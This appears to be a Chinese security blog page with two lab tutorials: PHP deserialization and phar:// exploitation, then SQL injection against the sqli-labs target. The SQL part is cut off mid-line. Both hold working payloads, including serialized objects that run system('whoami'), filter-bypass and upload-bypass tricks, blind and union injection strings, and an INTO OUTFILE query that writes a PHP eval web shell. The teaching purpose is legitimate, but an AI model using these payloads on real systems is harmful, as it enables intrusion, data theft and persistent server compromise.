//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context ?> PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�这个符号就是%00PHP常见的魔术方法__construct用于在创建对象时自动调用,主要用于初始化对象。<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法,用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . "<br>"; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印:Name: John, Age: 30 $person2->displayInfo(); // 打印:Name: Jane, Age: 25 ?> __destruct它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用,对象 {$this->name} 被创建。<br>"; } // 析构函数 public function __destruct() { echo "析构函数被调用,对象 {$this->name} 被销毁。<br>"; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法 ?> __toString它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时,__toString() 方法会被自动调用 echo $person; // 打印:Person Object (Name: John, Age: 30) ?> __invoke允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}!<br>"; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时,__invoke() 方法会被自动调用 $greeter(); // 打印:Hello, World! ?> __call它在尝试调用一个对象中不可访问的方法时被调用。class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法:$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法 __sleep它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2 一.初步认识写入反序列化文件index.php,通过传参让页面出现phpinfo页面class one { var $b="phpinfo();"; function action() { eval($this->b);//eval:用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法 分析payloadO:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 新建一个序列化test.php文件用于存放预构造的代码<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来 得到其序列化的结果,在我们的页面最下面我们将他反序列化-->index.php进行传参很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的当然也可以使用这种payloadhttp://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami'); 在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的二.简单利用简单利用反序列化index.php代码参考:<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]); 新建一个test.php用于获取序列化结果,获取我们的参数<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}} 这时候再回到我们index.php可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}} 复制这个结果,使用具有反序列化漏洞的index.php进行传参三、相关绕过任务:访问当前目录的1.txt文件构造环境创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。习题代码<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?> 这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化同上面一样构造序列化test.php<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby()); .过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";} 四、开始上手任务:读取 flag.游不动的鱼宝丶class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a); 我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法这里的字符串拼接,调用了__toString魔术方法C类中的成员以函数的形式调用了自己的成员B类中的函数调用了C类中的$test2成员最后销毁代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 序列化输出结果得到payloadO:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 使用具有该反序列化漏洞的index.php总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。Phar文件和Phar协议前言在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。phar文件详解Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。phar文件分为四层Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>。Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。Signature(签名)(可选):验证Phar文件的完整性和真实性。生成phar文件1.准备环境1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)php配置具体index.php代码,phar文件生成<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 访问index.php生成phar文件查看目录这里就有了序列化之后的结果Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:phar文件必须能上传到服务器;存在可用的魔术方法作为攻击的“跳板”;文件操作函数的参数可控,且特殊字符如./、../、phar等未被过滤。php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :文件操作函数绕过技巧1.环境限制了phar不能出现在前面的字符里compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 2.验证文件格式$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 3、绕过上传后缀检查即使将文件后缀改为gif也不影响phar的文件最终执行执行index.php一.初步了解任务:目标1.php界面任务执行phpinfo()1、index.php代码(具有phar协议反序列化漏洞的代码)<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt'); 2、test.php攻击代码<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 这里我们执行我们的攻击代码,生成phar.phar文件可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功看不出效果?那么这样呢访问test.php,为空白界面查看文件对payload的obj参数进行传参执行系统命令二、进一步了解通过phar协议读取Destruct called目标文件class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename); 分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中phar.phar文件生成成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容扩展:练习具体代码class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']); (关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)再深入任务:通过phar协议执行phpinfo详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.环境准备1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件2.www/目录(网站根目录)下新建upload_file文件夹3.各个文件内容及解释<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } upload_file.php:内容做了一个上传文件后缀的限制upload_file.phpindex.php 提供一个上传界面<body> <form action="/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> page.php 目标可控点<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在 page.php分析1.目标存在可控点以及文件操作函数page.php分析受影响的文件操作函数表2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。所以这题我们就可以使用phar协议进行漏洞复现开始解题1、构造上传文件phar,test.php<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); 检查我们的payload改文件名上传之前,新建一个upload_file文件夹因为这里测试的文件上传代码保存在这个文件夹中开始上传上传成功执行我们的payload漂亮!反序列化漏洞预防使用安全的序列化/反序列化库选择经过安全审计的、维护良好的序列化库。避免使用已知存在安全漏洞的库。限制反序列化的类型只允许反序列化预定义、可信的类。使用类型安全的序列化机制,如Java中的ObjectOutputStream和ObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。数据完整性验证在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。确保序列化数据在传输过程中未被篡改。定期审计和测试定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。使用自动化工具和手动测试方法来检测和利用反序列化漏洞。原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂文章参考:https://mp.weixin.qq.com/s/98SP8M-OjkvLw4lPi3ojvQ
2025年05月18日
2,335 阅读
0 评论
0 点赞
2025-05-18
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练环境工具:burp suite靶场:sqli服务器:centos7数据库:mysql5.7什么是 Sql 注入?SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录,甚至篡改数据库。由于以下的环境都是 MySQL 数据库,所以先了解点 MySQL 有关的知识。在 MySQL5.0 之后,MySQL 中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。mysql中注释符:# 、/**/ 、 --information_schema 中三个很重要的表: information_schema.schemata:该数据表存储了 mysql 数据库中的所有数据库的库名 information_schema.tables:该数据表存储了 mysql 数据库中的所有数据表的表名 information_schema.columns:该数据表存储了 mysql 数据库中的所有列的列名 Mysql 中常用的函数------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user():当前用户名 load_file():读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------ascii(str):返回给定字符的ascii值。如果str是空字符串,返回0如果str是NULL,返回NULL。如 ascii("a")=97 length(str) : 返回给定字符串的长度,如 length("string")=6 substr(string,start,length):对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in" substr()、stbstring()、mid() :三个函数的用法、功能均一致 concat(username):将查询到的username连在一起,默认用逗号分隔 concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接 group_concat(username) :将username所有数据查询在一起,用逗号连接 limit 0,1:查询第1个数 limit 1,1:查询第2个数判断 SQL 注入是否存在 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在 SQL 注入漏洞了。 还有在 URL 后面加 and 1 = 1 、 and 1 = 2看页面是否显示一样,显示不一样的话,肯定存在 SQL 注入漏洞了。 还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。 在 MySQL 中,有一个Benchmark()函数,它是用于测试性能的。Benchmark(count,expr),这个函数执行的结果,是将表达式 expr 执行 count 次 。 因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。易出现 SQL 注入的功能点: 凡是和数据库有交互的地方都容易出现 SQL 注入,SQL 注入经常出现在登陆页面、涉及获取 HTTP 头(user-agent / client-ip 等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的,有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。Sql 注入的分类 分类依据 类型 获取信息的方式 布尔盲注,时间盲注,报错注入 ,union查询注入,堆叠注入等 提交方式 GET、POST、COOKIE、HTTP 注入等 注入点类型 数字类型的注入、字符串类型的注入、搜索型注入等 其他注入 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 N 大类型 Sql 注入原理一、布尔盲注1. 原理以及手工注入条件:攻击者无法直接获取到这些信息 Web 的页面的仅仅会返回 True 和 False。那么布尔盲注就是进行 SQL 注入之后然后根据页面返回的 True 或者是 False 来得到数据库中的相关信息。这里介绍的是通过 ascii 码进行盲注的案例。盲注一般用到的一些函数:ascii() 、substr()、length(),exists()、concat()等http://192.168.1.132:86/Less-5/?id=1为正确页面,回显如下图:http://192.168.209.128:88/Less-5/?id=1'为错误页面,发现注入点,回显如下图:http://192.168.209.128:88/Less-5/?id=1' and length(database())>5 -- qwe 注:这里 qwe 前需要使用空格使用 bool 值进行注入比如:and 1=11.如何判断数据库类型?这个例子中出错页面已经告诉了我们此数据库是 MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?目前主流的数据库都有自己的特有表分别如下: 数据库 表名 MySQL information_schema.tables Access msysobjects SQLServer sysobjects 通过这些特有表,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库//判断是否是Mysql数据库 http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) # //判断是否是 access数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) # //判断是否是 Sqlserver数据库 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #' //对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。 information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍: 名称 描述 table_schema 记录数据库名 table_name 记录数据表名 table_rows 关于表的粗略行估计 data_length 记录表的大小(单位字节) 2. 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)1:判断当前数据库的长度,利用二分法 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示 http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据大于 7 正常显示,大于 8 不显示,说明大于 7 而不大于 8,所以可知当前数据库长度为 8imgimg2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断 //判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+ //判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ ...........由此可以判断出当前数据库为 security,注意使用ascii码转换字符的时候需要使用十进制3. 判断当前数据库中的表(语句后面添加--+)http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在 admin 表1:判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判断每个表的长度 //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # .........由此可判断出存在表 emails、referers、uagents、users ,猜测 users 表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断4. 判断表中的字段http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在 admin 表,那么猜测是否存在 username 字段1:判断表中字段的个数 //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判断字段的长度 //判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判断字段的ascii值 //判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ...........由此可判断出 users 表中存在 id、username、password 字段5.判断字段中的数据我们知道了 users 中有三个字段 id 、username 、password,我们现在爆出每个字段的数据1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 2:判断数据的ascii值 // 判断id字段的第一个数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 ...........二、union查询注入(union 注入)一、原理及手工注入三个条件: 两个表的列数相同,并且相应的列具有相似的数据类型。 查询结果回显。 存在注入漏洞。 我们可以通过order by来判断当前表的列数。http://192.168.209.128:88/Less-1/?id=1' order by 4-- qwq4 时错误,3 时正确,可得知,当前表有 3 列通过 union union查询来知道显示的列数。http://192.168.209.128:88/Less-1/?id=-1' union select 1 ,2 ,3 -- qwq我们union查询的就显示出来了。可知,第 2 列和第 3 列是回显列。那我们就可以在这两个位置插入一些函数了。------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user:当前用户名 load_file:读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------开始注入脚本//回显出数据库版本信息、数据库所在路径 http://192.168.209.128:88/Less-1/?id=-1' union select 1,version(),@@datadir -- qwq //更多自行尝试 。。。。。。我们还可以通过 union 注入获得更多的信息。// 获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ // 获得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+ // 获得所有的列 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+通过select 1,database(),3...,得出当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每个表中的列。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- + 如下,我们可以知道 users 表中有 id,username,password 三列 使用 group_concat()拼接账号密码还有 id,即可爆出所有数据http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users -- +三、文件读写1. union 注入读取文件注:当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;文件写入只能利用 union 注入示例:读取系统根目录下的/demo.txt 文件//union注入读取 /demo.txt 文件,windows使用->盘符:/路径 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("demo.txt") -- + //也可以把 /demo.txt 转换成16进制 这里没成功,可以去找找资料。。。 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x2F64656D6F2E747874) -- +如果不成功,参考以下解决方案 在 mysql 目录中找到 my.ini/my.cnf 文件在[mysqld]下面添加如下内容 secure_file_priv = "" 如图:登录 mysql 执行以下命令mysql>SHOW VARIABLES LIKE "secure_file_priv"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+这里secure_file_priv的值要为""或者 "/"secure_file_priv 有三个值1、限制 mysqld 不允许导入 | 导出mysqld –secure_file_prive=null2、限制 mysqld 的导入 | 导出 只能发生在/tmp/目录下mysqld –secure_file_priv=/tmp/3、不对 mysqld 的导入 | 导出做限制secure_file_priv=''2. 盲注读取文件盲注读取的话就是利用hex函数,将读取的字符串转换成 16 进制,再利用ascii函数,转换成 ascii 码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成 http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1我们可以利用写入文件的功能,在 e 盘创建 4.php 文件,然后写入一句话木马。//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' -- + // 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' -- 